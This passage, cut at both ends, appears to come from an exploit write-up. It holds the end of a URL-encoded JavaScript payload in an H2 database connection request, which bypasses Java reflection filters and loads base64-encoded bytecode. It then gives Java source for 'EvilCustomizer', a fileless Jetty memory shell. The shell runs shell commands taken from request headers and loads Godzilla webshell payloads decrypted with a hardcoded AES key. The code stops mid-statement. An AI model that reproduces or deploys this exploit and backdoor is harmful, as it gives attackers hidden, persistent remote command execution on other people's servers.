0%20%20%20unsafe.putBoolean(accessibleObject%2C%20offset%2C%20true)%3B%0A%7D%0Afunction%20defineClass()%7B%0A%20%20var%20classBytes%20%3D%20%22yv66vgAAADQB1AgA4AoA4QDiCgA4AOMKADgA5AoA4QDlBwDmCgDhAOcKAAYA6AoABgDpCgA4AOoHAOsKADcA7AgA7QkAegDuCACFCQB6AO8HAPAKABEA7AoAEQDxCgARAPIKAHoA8wkAegD0CQD1APYKAPcA%2BAgA%2BQoANQD6CAD7CgA1APwKAK8A%2FQoArwD%2BBwD%2FCgB6AQAKAQEBAgoBAQEDCgA3AQQIAKwKAB8BBQoAHwEGBwCtCAEHCACmBwCnCAChCgA1AQgIAQkKADgBCgcBCwgBDAgBDQoANQEOCgEPARAIAREHARIHALcHARMHARQIARUKADUBFggBFwgBGAgBGQgBGggBGwgBHAoAwAEdBwEeCgBCAR8KAMABIAoAwAEhCAEiCgEjASQIAMgKADgBJQoAOAEmCAEnCgD1ASgKADgBKQgBKgoAOAErCAEsCAEtCAEuBwEvCgEwATEKATABMgoBMwE0CgBTATUIATYKAFMBNwoAUwE4CgEjATkKAToBOwoBPAE9CgE8AT4IAT8KASMBQAoAegFBCgB6AUIJAHoBQwcBRAcBRQoBAQFGCgBkAUcHAUgIAUkJAUoBSwoANQFMCgEPAP0KAUoBTQcBTgoAbgDsCgA3AQoKADgBTwoBPAFQCgA3APIKAG4BUQoAegFSCgA4AVMKAHoBVAoALwFVCgFWAVcHAVgKAHoBWQoBWgFbBwFcBwFdCgB%2BAV4HAV8HAWAHAWEBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEABHRoaXMBACZMY29tL2Jvb2dpcG9wL21lbXNoZWxsL0V2aWxDdXN0b21pemVyOwEABChJKVYBAAFJAQAJZ2V0VW5zYWZlAQATKClMc3VuL21pc2MvVW5zYWZlOwEABnVuc2FmZQEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAl0aGV1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEACkV4Y2VwdGlvbnMBAA1nZXRWYWx1ZUZpZWxkAQArKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEABXZhbHVlAQASTGphdmEvbGFuZy9PYmplY3Q7AQABagEADXRocmVhZExvY2Fsc0YBAAt0aHJlYWRsb2NhbAEABXRhYmxlAQAaW0xqYXZhL2xhbmcvcmVmL1JlZmVyZW5jZTsBAAFpAQALdGhyZWFkR3JvdXABABdMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEADHRocmVhZHNmaWxlZAEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwFkBwFlAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAB0VuY29kZXIBAAZiYXNlNjQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABWgcBZgEACWN1c3RvbWl6ZQEAdShMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAAljb25uZWN0b3IBACRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjsBABFodHRwQ29uZmlndXJhdGlvbgEALExvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAHcmVxdWVzdAEAIkxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDsHAMQBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQATRXZpbEN1c3RvbWl6ZXIuamF2YQEAA01ENQcBZwwBaAFpDAFqAWsMAWwBbQwBbgFvAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAXABawwAkgFxDAFyAXMMAXQBdQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJIAkwEAEDNjNmUwYjhhOWMxNTIyNGEMAIMAhAwAhQCEAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAXYBdwwBcgF1DACGAIkMAIYAhAcBeAwBeQF6BwF7DAF8AJYBAA9zdW4ubWlzYy5VbnNhZmUMAX0BfgEACXRoZVVuc2FmZQwBfwGADAGBAYIMAYMBhAEAD3N1bi9taXNjL1Vuc2FmZQwAmACZBwGFDAGGAYcMAYgBiQwBigGLDAGMAY0MAY4BjwEADHRocmVhZExvY2FscwwBkAF1AQAnb3JnLmVjbGlwc2UuamV0dHkuc2VydmVyLkh0dHBDb25uZWN0aW9uDAGRAZIBACdvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RW5jb2RlcgwBkwGUBwGVDAGWAZcBAA5lbmNvZGVUb1N0cmluZwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgwBmAGZAQAGZW5jb2RlAQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAANBRVMMAWgBmgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAJIBmwwBnAGdDAGeAZ8BAA14LWNsaWVudC1kYXRhBwGgDAGhAIkMAaIBowwBpAGlAQAHb3MubmFtZQwBpgCJDAGnAXUBAAN3aW4MAagBqQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcBqgwBqwGsDAGtAa4HAa8MAbABsQwAkgGyAQAQXEFTQURTQURBU0RTQURBUwwBswG0DAG1AXUMAbYBtwcBuAwBuQG6BwG7DAF8AbwMAb0AkwEACGdvZHppbGxhDAG%2BAIkMALgAuQwAuwC8DACHAIgBABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwBvwHADACSAcEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcBwgwBwwCIDAHEAZQMAcUBxgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHHAcgMAckBvAwBygFrDACwALEMAccBcwwAnwCgDAHLAcwHAc0MAc4BzwEAJGNvbS9ib29naXBvcC9tZW1zaGVsbC9FdmlsQ3VzdG9taXplcgwAkgCWBwHQDAHRAdIBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAkgHTAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEANW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29uZmlndXJhdGlvbiRDdXN0b21pemVyAQAKQ3VzdG9taXplcgEADElubmVyQ2xhc3NlcwEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAC2dldEluc3RhbmNlAQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEACGdldEJ5dGVzAQAEKClbQgEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBAAh0b1N0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDspSgEACWdldE9iamVjdAEAJyhMamF2YS9sYW5nL09iamVjdDtKKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAgb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1JlcXVlc3QBAAlnZXRIZWFkZXIBABBlcXVhbHNJZ25vcmVDYXNlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAHaXNFbXB0eQEAAygpWgEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAC2dldFJlc3BvbnNlAQAlKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1Jlc3BvbnNlOwEAIW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAMZ2V0UGFyYW1ldGVyAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAV3cml0ZQEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAUZ2V0SHR0cENvbmZpZ3VyYXRpb24BAC4oKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAqb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uAQANYWRkQ3VzdG9taXplcgEAOihMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uJEN1c3RvbWl6ZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQB6ADcAAQCCAAQAAACDAIQAAAAAAIUAhAAAAAAAhgCEAAAAAACHAIgAAAAKAAkAhgCJAAEAigAAAKcABAADAAAAMAFMEgG4AAJNLCq2AAMDKrYABLYABbsABlkELLYAB7cACBAQtgAJtgAKTKcABE0rsAABAAIAKgAtAAsAAwCLAAAAHgAHAAAAGAACABsACAAcABUAHQAqAB8ALQAeAC4AIACMAAAAIAADAAgAIgCNAI4AAgAAADAAjwCEAAAAAgAuAJAAhAABAJEAAAATAAL%2FAC0AAgcAOAcAOAABBwALAAABAJIAkwABAIoAAAB1AAMAAQAAADcqtwAMKhINtQAOKhIPtQAQKrsAEVm3ABIqtAAQtgATKrQADrYAE7YAFLgAFbUAFrIAFwS2ABixAAAAAgCLAAAAGgAGAAAAIgAEABMACgAUABAAFQAvACMANgAkAIwAAAAMAAEAAAA3AJQAlQAAAAEAkgCWAAEAigAAAH8AAwACAAAANyq3AAwqEg21AA4qEg%2B1ABAquwARWbcAEiq0ABC2ABMqtAAOtgATtgAUuAAVtQAWsgAXBbYAGLEAAAACAIsAAAAaAAYAAAAmAAQAEwAKABQAEAAVAC8AJwA2ACgAjAAAABYAAgAAADcAlACVAAAAAAA3AI8AlwABAAoAmACZAAIAigAAAFsAAgACAAAAGxIZuAAaEhu2ABxLKgS2AB0qAbYAHsAAH0wrsAAAAAIAiwAAABIABAAAADcACwA4ABAAOQAZADoAjAAAABYAAgALABAAmgCbAAAAGQACAJwAnQABAJ4AAAAIAAMAgACBAH0ACgCfAKAAAgCKAAAB%2BQAFAAoAAAC5uAAgS7gAIbYAIkwrtgAjEiS2ABxNKisqLLYAJbYAJsAAJ04DNgQVBC2%2BogCNLRUEMrYAIxIotgAcOgUqLRUEMioZBbYAJbYAJjoGKhkGKhkGtgAjEim2ABy2ACW2ACbAACo6BwM2CBUIGQe%2BogBAKhkHFQgyKhkHFQgytgAjEiu2ABy2ACW2ACY6CRkJtgAjtgAsEi22AC6ZAAkZCcAAL7CnAAU6CYQIAaf%2FvqcABToFhAQBp%2F9yAbAAAwBvAKAApAALAC0AoACvAAsAoQCsAK8ACwADAIsAAABOABMAAAA9AAQAPgALAD8AFQBAACMAQQAtAEMAOwBEAEsARQBkAEYAbwBMAIsATQCbAE4AoQBTAKQAUQCmAEYArABYAK8AVgCxAEEAtwBaAIwAAABmAAoAiwAWAKEAogAJAGcARQCjAJcACAA7AHEApACbAAUASwBhAKUAogAGAGQASACmAKcABwAmAJEAqACXAAQABAC1AJoAnQAAAAsArgCpAKoAAQAVAKQAqwCbAAIAIwCWAKwArQADAJEAAABWAAn%2FACYABQcAHwcArgcArwcAJwEAAP8AQAAJBwAfBwCuBwCvBwAnAQcArwcANwcAKgEAADlCBwALAf8ABQAFBwAfBwCuBwCvBwAnAQAAQgcACwH6AAUAngAAAAgAAwB9AIAAgQAJALAAsQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSMQG2ADIrAbYAM04ttgAjEjQEvQA1WQMSNlO2ADItBL0AN1kDKlO2ADPAADhNpwA5ThI5uAAaTCu2ADo6BBkEtgAjEjsEvQA1WQMSNlO2ADIZBAS9ADdZAypTtgAzwAA4TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAXgACAGAACABhABUAYgA3AGoAOgBjADsAZQBBAGYARwBnAGsAaQBuAGgAcABrAIwAAABIAAcAFQAiALIAogADAAgAMgCzAIgAAQBHACQAsgCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgC3AAAAAgBwAKEAhAACAJEAAAAqAAP%2FADoAAwcANgAHADgAAQcAC%2F8AMwAEBwA2AAcAOAcACwABBwAL%2BgABAJ4AAAAEAAEACwAJALgAuQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSPAG2ADIrAbYAM04ttgAjEj0EvQA1WQMSOFO2ADItBL0AN1kDKlO2ADPAADZNpwA5ThI%2BuAAaTCu2ADo6BBkEtgAjEj8EvQA1WQMSOFO2ADIZBAS9ADdZAypTtgAzwAA2TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAbwACAHEACAByABUAcwA3AHsAOgB0ADsAdgBBAHcARwB4AGsAegBuAHkAcAB8AIwAAABIAAcAFQAiALoAogADAAgAMgCzAIgAAQBHACQAugCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgCEAAAAAgBwAKEAtwACAJEAAAAqAAP%2FADoAAwcAOAAHADYAAQcAC%2F8AMwAEBwA4AAcANgcACwABBwAL%2BgABAJ4AAAAEAAEACwABALsAvAABAIoAAADYAAYABAAAACwSQLgAQU4tHJkABwSnAAQFuwBCWSq0AA62AAMSQLcAQ7YARC0rtgBFsE4BsAABAAAAKAApAAsAAwCLAAAAFgAFAAAAgAAGAIEAIwCCACkAgwAqAIQAjAAAADQABQAGACMAvQC%2BAAMAKgACALQAtQADAAAALACUAJUAAAAAACwAjwC3AAEAAAAsAI0AvwACAJEAAAA8AAP%2FAA8ABAcAegcANgEHAMAAAQcAwP8AAAAEBwB6BwA2AQcAwAACBwDAAf8AGAADBwB6BwA2AQABBwALAAEAwQDCAAEAigAAAvUABwAIAAABlS0SRrYARxJItgBJmQCMLRJItgBHOgQZBMYAfBkEtgBKmgB0AToFEku4AEy2AE0STrYAT5kAGwa9ADhZAxJIU1kEElBTWQUZBFM6BacAGAa9ADhZAxJRU1kEElJTWQUZBFM6BbsAU1m4AFQZBbYAVbYAVrcAVxJYtgBZtgBaOgYttgBbtgBcOgcZBxkGtgBdGQe2AF6nAPstEka2AEcSX7YASZkA7S0qtAAQtgBguABhOgQqGQQDtgBiOgQqtABjxwBkuwBkWQO9AGW4ACG2AGa3AGc6BRJoEmkGvQA1WQMSNlNZBLIAalNZBbIAalO2AGs6BhkGBLYAbCoZBhkFBr0AN1kDGQRTWQQDuABtU1kFGQS%2BuABtU7YAM8AANbUAY6cAb7sAblm3AG86BSq0AGO2ADo6BhkGGQW2AHBXGQYZBLYAcFcZBi22AHBXLbYAW7YAXDoHGQcqtAAWAxAQtgBxtgByGQa2AHNXGQcqGQW2AHQEtgBiuAB1tgByGQcqtAAWEBC2AHa2AHIZB7YAXqcABToEsQABAAABjwGSAAsAAwCLAAAAjgAjAAAAigAOAIsAFgCMACMAjQAmAI4ANgCPAE4AkQBjAJMAfwCUAIgAlQCPAJYAlACYAJcAmQClAJsAsgCcALsAnQDCAJ4A1QCfAPMAoAD5AKEBIACiASMAowEsAKQBNQClAT0ApgFFAKcBTACoAVUAqQFkAKoBagCrAXwArAGKAK0BjwCxAZIAsAGUALIAjAAAAI4ADgAmAG4AwwDEAAUAfwAVAMUAhAAGAIgADADGAMcABwAWAH4AyACEAAQA1QBLAMkAygAFAPMALQDLAMwABgEsAGMAzQDOAAUBNQBaAM8AogAGAVUAOgDGAMcABwCyAN0A0AC3AAQAAAGVAJQAlQAAAAABlQDRANIAAQAAAZUA0wDUAAIAAAGVANUA1gADAJEAAAAeAAj9AE4HADgHANcU%2BQAwAvwAiwcANvoAa0IHAAsBAAgA2ACTAAEAigAAANEABAABAAAAOLgAd0sqtgB4tgB5uwB6WQS3AHu2AHynACFLuwB%2BWSq3AH%2B%2FS7sAflkqtwB%2Fv0u7AH5ZKrcAf7%2BxAAMAAAAWABkAfQAAABYAIwCAAAAAFgAtAIEAAwCLAAAAKgAKAAAALAAEAC0AFgA0ABkALgAaAC8AIwAwACQAMQAtADIALgAzADcANQCMAAAAKgAEAAQAEgDZANoAAAAaAAkAtADbAAAAJAAJALQA3AAAAC4ACQC0AN0AAACRAAAADwAEWQcAfUkHAIBJBwCBCQACAN4AAAACAN8BYwAAAAoAAQCCAVoBYgYJ%22%3B%0A%20%20var%20bytes%20%3D%20java.util.Base64.getDecoder().decode(classBytes)%3B%0A%20%20var%20clz%20%3D%20null%3B%0A%20%20var%20version%20%3D%20java.lang.System.getProperty(%22java.version%22)%3B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classLoader%20%3D%20new%20java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.net.URL%22)%2C%200))%3B%0A%20%20try%7B%0A%20%20%20%20if%20(version.split(%22.%22)%5B0%5D%20%3E%3D%2011)%20%7B%0A%20%20%20%20%20%20bypassReflectionFilter()%3B%0A%20%20%20%20%20%20defineClassMethod%20%3D%20java.lang.Class.forName(%22java.lang.ClassLoader%22).getDeclaredMethod(%22defineClass%22%2C%20java.lang.Class.forName(%22%5BB%22)%2Cjava.lang.Integer.TYPE%2C%20java.lang.Integer.TYPE)%3B%0A%20%20%20%20%20%20setAccessible(defineClassMethod)%3B%20%0A%20%20%20%20%20%20clz%20%3D%20defineClassMethod.invoke(classLoader%2C%20bytes%2C%200%2C%20bytes.length)%3B%0A%20%20%20%20%7Delse%7B%0A%20%20%20%20%20%20var%20protectionDomain%20%3D%20new%20java.security.ProtectionDomain(new%20java.security.CodeSource(null%2C%20java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.security.cert.Certificate%22)%2C%200))%2C%20null%2C%20classLoader%2C%20%5B%5D)%3B%0A%20%20%20%20%20%20clz%20%3D%20unsafe.defineClass(null%2C%20bytes%2C%200%2C%20bytes.length%2C%20classLoader%2C%20protectionDomain)%3B%0A%20%20%20%20%7D%0A%20%20%7Dcatch(error)%7B%0A%20%20%20%20error.printStackTrace()%3B%0A%20%20%7Dfinally%7B%0A%20%20%20%20return%20clz.newInstance()%3B%0A%20%20%7D%0A%7D%0AdefineClass()%3B'))\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
package com.boogipop.memshell; import org.eclipse.jetty.server.*; import sun.misc.Unsafe; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.io.PrintWriter; import java.lang.ref.Reference; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Map; import java.util.Scanner; //author:Boogipop public class EvilCustomizer implements HttpConfiguration.Customizer { String xc = "3c6e0b8a9c15224a"; // key String pass = "pass"; String md5 = md5(pass + xc); Class payload; public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public EvilCustomizer() { System.out.println(1); } public EvilCustomizer(int s) { System.out.println(2); } static { try { HttpConnection valueField = getValueField(); valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1)); } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafe.setAccessible(true); sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null); return theunsafe; } private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { Unsafe unsafe = getUnsafe(); ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsfiled = threadGroup.getClass().getDeclaredField("threads"); Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled)); for(int i=0;i<threads.length;i++) { try { Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals"); Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF)); Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table"))); for(int j=0;j<table.length;j++){ try { //HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); //PrintWriter writer = value.getHttpChannel().getResponse().getWriter(); //writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd"))); //writer.flush(); Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){ return (HttpConnection)value; } } catch (Exception e){ } } } catch (Exception e) { } } return null; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } @Override public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) { try { if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) { String cmd = request.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next(); PrintWriter writer = request.getResponse().getWriter(); writer.println(result); writer.flush(); } } else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) { // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题 byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (payload == null) { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); payload = (Class) defMethod.invoke(urlClassLoader, data, 